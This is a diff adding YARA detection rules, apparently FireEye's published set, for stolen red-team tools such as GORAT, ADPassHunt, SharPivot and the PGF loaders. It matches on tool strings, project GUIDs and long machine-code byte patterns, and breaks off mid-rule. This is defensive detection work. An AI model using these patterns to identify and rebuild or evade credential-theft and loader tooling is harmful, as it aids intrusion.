+        description = "This rule is looking for specific strings associated with network activity found within the MacOS generated variant of GORAT"
+        md5 = "68acf11f5e456744262ff31beae58526"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4646eadb-7acf-582f-9ad6-00f012ceed8a"
+    strings:
+        $s1 = "SID1=%s" ascii wide
+        $s2 = "http/http.dylib" ascii wide
+        $s3 = "Mozilla/" ascii wide
+        $s4 = "User-Agent" ascii wide
+        $s5 = "Cookie" ascii wide
+    condition:
+        ((uint32(0) == 0xBEBAFECA) or (uint32(0) == 0xFEEDFACE) or (uint32(0) == 0xFEEDFACF) or (uint32(0) == 0xCEFAEDFE)) and all of them
+}
+rule CredTheft_MSIL_ADPassHunt_2
+{
+    meta:
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "44ba09c3-ac0a-58e7-b98c-dedcbf208d00"
+    strings:
+        $pdb1 = "\\ADPassHunt\\"
+        $pdb2 = "\\ADPassHunt.pdb"
+        $s1 = "Usage: .\\ADPassHunt.exe"
+        $s2 = "[ADA] Searching for accounts with msSFU30Password attribute"
+        $s3 = "[ADA] Searching for accounts with userpassword attribute"
+        $s4 = "[GPP] Searching for passwords now"
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (@pdb2[1] < @pdb1[1] + 50) or 2 of ($s*)
+}
+rule APT_Loader_Win64_PGF_4
+{
+    meta:
+        date = "2020-11-26"
+        modified = "2020-11-26"
+        md5 = "3bb34ebd93b8ab5799f4843e8cc829fa"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "4c93ba76-d3a5-568d-88b8-79a6ebc2edbb"
+    strings:
+        $sb1 = { 41 B9 04 00 00 00 41 B8 00 10 00 00 BA [4] B9 00 00 00 00 [0-32] FF [1-24] 7? [1-150] 8B 45 [0-32] 44 0F B? ?? 8B [2-16] B? CD CC CC CC [0-16] C1 ?? 04 [0-16] C1 ?? 02 [0-16] C1 ?? 02 [0-16] 48 8? 05 [4-32] 31 [1-4] 88 }
+        $sb2 = { C? 45 ?? 48 [0-32] B8 [0-64] FF [0-32] E0 [0-32] 41 B8 40 00 00 00 BA 0C 00 00 00 48 8B [2] 48 8B [2-32] FF [1-16] 48 89 10 8B 55 ?? 89 ?? 08 48 8B [2] 48 8D ?? 02 48 8B 45 18 48 89 02 }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x020B) and all of them
+}
+rule APT_Loader_Win32_PGF_4
+{
+    meta:
+        date = "2020-11-26"
+        modified = "2020-11-26"
+        md5 = "4414953fa397a41156f6fa4f9462d207"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "d46d9ae9-cb7d-5a25-9ee2-766097c14af6"
+    strings:
+        $sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 }
+        $sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C }
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and (uint16(uint32(0x3C)+0x18) == 0x010B) and all of them
+}
+rule CredTheft_MSIL_ADPassHunt_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public ADPassHunt project."
+        md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "35fb8032-c73a-549f-9bd9-409f7050bdb0"
+    strings:
+        $typelibguid = "15745B9E-A059-4AF1-A0D8-863E349CD85D" ascii nocase wide
+    condition:
+        uint16(0) == 0x5A4D and $typelibguid
+}
+rule HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1
+{
+    meta:
+        description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project."
+        md5 = "dd8805d0e470e59b829d98397507d8c2"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "69745e99-33cc-5171-ae7a-5c98439a0b6d"
+    strings:
+        $typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide
+    condition:
+        filesize < 10MB and (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and any of them
+}
+rule HackTool_MSIL_SharPivot_1
+{
+    meta:
+        date = "2020-11-25"
+        modified = "2020-11-25"
+        md5 = "e4efa759d425e2f26fbc29943a30f5bd"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "c2834bd6-efb0-5dac-adcd-a9450090fc28"
+    strings:
+        $s2 = { 73 ?? 00 00 0A 0A 06 1F ?? 1F ?? 6F ?? 00 00 0A 0B 73 ?? 00 00 0A 0C 16 13 04 2B 5E 23 [8] 06 6F ?? 00 00 0A 5A 23 [8] 58 28 ?? 00 00 0A 28 ?? 00 00 0A 28 ?? 00 00 0A }
+        $s3 = "cmd_rpc" wide
+        $s4 = "costura"
+    condition:
+        (uint16(0) == 0x5A4D) and (uint32(uint32(0x3C)) == 0x00004550) and all of them
+}
+rule APT_Loader_Win32_PGF_3
+{
+    meta:
+        description = "PGF payload, generated rule based on symfunc/c02594972dbab6d489b46c5dee059e66. Identifies dllmain_hook x86 payloads."
+        md5 = "4414953fa397a41156f6fa4f9462d207"
+        reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
+        author = "FireEye"
+        id = "adf91482-6e04-5d11-bc00-4b1c7a802c49"
+    strings:
+        $cond1 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF 90 EE 01 6D C7 85 30 F9 FF FF 6C FE 01 6D 8D 85 34 F9 FF FF 89 28 BA CC 19 00 6D 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BB A6 00 00 A1 48 A1 05 6D C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B8 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 56 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 DF B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 52 0B 01 00 A1 4C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 51 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 EF AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 82 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 84 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 2C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 0C 40 05 6D A1 5C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 18 40 05 6D 89 04 24 A1 60 A1 05 6D FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 54 A1 05 6D FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 9C A1 05 6D C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 00 6D 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 00 6D 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 5D BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 48 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A0 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 FD BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 75 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 76 A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+        $cond2 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF B0 EF 3D 6A C7 85 30 F9 FF FF 8C FF 3D 6A 8D 85 34 F9 FF FF 89 28 BA F4 1A 3C 6A 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 B3 A6 00 00 A1 64 A1 41 6A C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 B0 AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 4E 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 D7 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 4A 0B 01 00 A1 68 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 49 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 E7 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 7A FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 7C AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 62 40 41 6A A1 78 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 6E 40 41 6A 89 04 24 A1 7C A1 41 6A FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 41 6A FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 41 6A C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 3C 6A 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 3C 6A 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 55 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 40 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 98 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 F5 BB 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 6D A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 6E A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+        $cond3 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 2C F9 FF FF F0 EF D5 63 C7 85 30 F9 FF FF CC FF D5 63 8D 85 34 F9 FF FF 89 28 BA 28 1B D4 63 89 50 04 89 60 08 8D 85 14 F9 FF FF 89 04 24 E8 BF A6 00 00 A1 64 A1 D9 63 C7 85 18 F9 FF FF FF FF FF FF FF D0 C7 44 24 08 04 01 00 00 8D 95 B6 FD FF FF 89 54 24 04 89 04 24 E8 BC AE 00 00 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 8B 03 00 00 8D 45 BF 89 C1 E8 5A 0B 01 00 8D 85 9C FD FF FF 8D 55 BF 89 54 24 04 8D 95 B6 FD FF FF 89 14 24 C7 85 18 F9 FF FF 01 00 00 00 89 C1 E8 E3 B5 01 00 83 EC 08 8D 45 BF 89 C1 E8 56 0B 01 00 A1 68 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 89 44 24 04 C7 04 24 08 00 00 00 E8 55 AE 00 00 83 EC 08 89 45 D0 83 7D D0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 8C 02 00 00 C7 45 E4 00 00 00 00 C7 45 E0 00 00 00 00 C7 85 74 F9 FF FF 28 04 00 00 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 F3 AD 00 00 83 EC 08 89 45 DC 83 7D DC 00 74 67 8D 85 9C FD FF FF C7 44 24 04 00 00 00 00 8D 95 74 F9 FF FF 83 C2 20 89 14 24 89 C1 E8 86 FF 00 00 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 12 8B 85 88 F9 FF FF 89 45 E4 8B 85 8C F9 FF FF 89 45 E0 8D 85 74 F9 FF FF 89 44 24 04 8B 45 D0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 88 AD 00 00 83 EC 08 89 45 DC EB 93 8B 45 D0 89 04 24 A1 44 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 83 7D E4 00 74 06 83 7D E0 00 75 0F C7 85 10 F9 FF FF 00 00 00 00 E9 AD 01 00 00 C7 04 24 7E 40 D9 63 A1 7C A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 04 C7 44 24 04 8A 40 D9 63 89 04 24 A1 80 A1 D9 63 FF D0 83 EC 08 89 45 CC 89 E8 89 45 D8 8D 85 6C F9 FF FF 89 44 24 04 8D 85 70 F9 FF FF 89 04 24 A1 70 A1 D9 63 FF D0 83 EC 08 C7 45 D4 00 00 00 00 8B 55 D8 8B 85 6C F9 FF FF 39 C2 0F 83 F5 00 00 00 8B 45 D8 8B 00 3D FF 0F 00 00 0F 86 D8 00 00 00 8B 45 D8 8B 00 39 45 CC 73 19 8B 45 D8 8B 00 8B 55 CC 81 C2 00 10 00 00 39 D0 73 07 C7 45 D4 01 00 00 00 83 7D D4 00 0F 84 AF 00 00 00 8B 45 D8 8B 00 39 45 E4 0F 83 A1 00 00 00 8B 45 D8 8B 00 8B 4D E4 8B 55 E0 01 CA 39 D0 0F 83 8C 00 00 00 B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 50 F9 FF FF 83 C0 04 39 D0 72 F2 8B 45 D8 8B 00 C7 44 24 08 1C 00 00 00 8D 95 50 F9 FF FF 89 54 24 04 89 04 24 A1 C8 A1 D9 63 C7 85 18 F9 FF FF 02 00 00 00 FF D0 83 EC 0C 8B 85 64 F9 FF FF 83 E0 20 85 C0 74 2E 8B 45 D8 8B 00 C7 44 24 04 30 14 D4 63 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 59 FC FF FF C7 85 10 F9 FF FF 00 00 00 00 EB 58 90 EB 01 90 83 45 D8 04 E9 FA FE FF FF 8B 45 E4 89 45 C8 8B 45 C8 8B 40 3C 89 C2 8B 45 E4 01 D0 89 45 C4 8B 45 C4 8B 50 28 8B 45 E4 01 D0 89 45 C0 C7 44 24 04 30 14 D4 63 8B 45 C0 89 04 24 C7 85 18 F9 FF FF 02 00 00 00 E8 FF FB FF FF C7 85 10 F9 FF FF 01 00 00 00 8D 85 9C FD FF FF 89 C1 E8 61 BC 01 00 83 BD 10 F9 FF FF 01 EB 70 8B 95 1C F9 FF FF 8B 85 18 F9 FF FF 85 C0 74 0C 83 E8 01 85 C0 74 2D 83 E8 01 0F 0B 89 95 10 F9 FF FF 8D 45 BF 89 C1 E8 4C 08 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 A4 A6 00 00 89 95 10 F9 FF FF 8D 85 9C FD FF FF 89 C1 E8 01 BC 01 00 8B 85 10 F9 FF FF 89 04 24 C7 85 18 F9 FF FF FF FF FF FF E8 79 A6 00 00 90 8D 85 14 F9 FF FF 89 04 24 E8 7A A3 00 00 8D 65 F4 5B 5E 5F 5D C3 }
+        $cond4 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? 90 EE 01 6D C7 85 ?? ?? ?? ?? 6C FE 01 6D 8D 85 ?? ?? ?? ?? 89 28 BA CC 19 00 6D 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 8B 45 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 83 7D ?? 00 74 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 04 24 0C 40 05 6D A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 04 C7 44 24 ?? 18 40 05 6D 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 89 45 ?? 89 E8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 A1 ?? ?? ?? ?? FF D0 83 EC 08 C7 45 ?? 00 00 00 00 8B 55 ?? 8B 85 ?? ?? ?? ?? 39 C2 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 3D FF 0F 00 00 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 73 ?? 8B 45 ?? 8B 00 8B 55 ?? 81 C2 00 10 00 00 39 D0 73 ?? C7 45 ?? 01 00 00 00 83 7D ?? 00 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 00 39 45 ?? 0F 83 ?? ?? ?? ?? 8B 45 ?? 8B 00 8B 4D ?? 8B 55 ?? 01 CA 39 D0 0F 83 ?? ?? ?? ?? B9 00 00 00 00 B8 1C 00 00 00 83 E0 FC 89 C2 B8 00 00 00 00 89 8C 05 ?? ?? ?? ?? 83 C0 04 39 D0 72 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 1C 00 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 83 EC 0C 8B 85 ?? ?? ?? ?? 83 E0 20 85 C0 74 ?? 8B 45 ?? 8B 00 C7 44 24 ?? 30 14 00 6D 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 90 EB ?? 90 83 45 ?? 04 E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 45 ?? 8B 40 ?? 89 C2 8B 45 ?? 01 D0 89 45 ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 01 D0 89 45 ?? C7 44 24 ?? 30 14 00 6D 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 01 00 00 00 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 01 EB ?? 8B 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 83 E8 01 85 C0 74 ?? 83 E8 01 0F 0B 89 95 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 C1 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? FF FF FF FF E8 ?? ?? ?? ?? 90 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3 }
+        $cond5 = { 55 89 E5 57 56 53 81 EC FC 06 00 00 C7 85 ?? ?? ?? ?? B0 EF 3D 6A C7 85 ?? ?? ?? ?? 8C FF 3D 6A 8D 85 ?? ?? ?? ?? 89 28 BA F4 1A 3C 6A 89 50 ?? 89 60 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF FF D0 C7 44 24 ?? 04 01 00 00 8D 95 ?? ?? ?? ?? 89 54 24 ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC 0C 85 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 8D 95 ?? ?? ?? ?? 89 14 24 C7 85 ?? ?? ?? ?? 01 00 00 00 89 C1 E8 ?? ?? ?? ?? 83 EC 08 8D 45 ?? 89 C1 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? 02 00 00 00 FF D0 89 44 24 ?? C7 04 24 08 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 75 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 E9 ?? ?? ?? ?? C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 85 ?? ?? ?? ?? 28 04 00 00 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? 83 7D ?? 00 74 ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? 00 00 00 00 8D 95 ?? ?? ?? ?? 83 C2 20 89 14 24 89 C1 E8 ?? ?? ?? ?? 83 EC 08 83 F8 FF 0F 95 C0 84 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8B 85 ?? ?? ?? ?? 89 45 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 85 ?? ?? ?? ?? 02 00 00 00 E8 ?? ?? ?? ?? 83 EC 08 89 45 ?? EB ?? 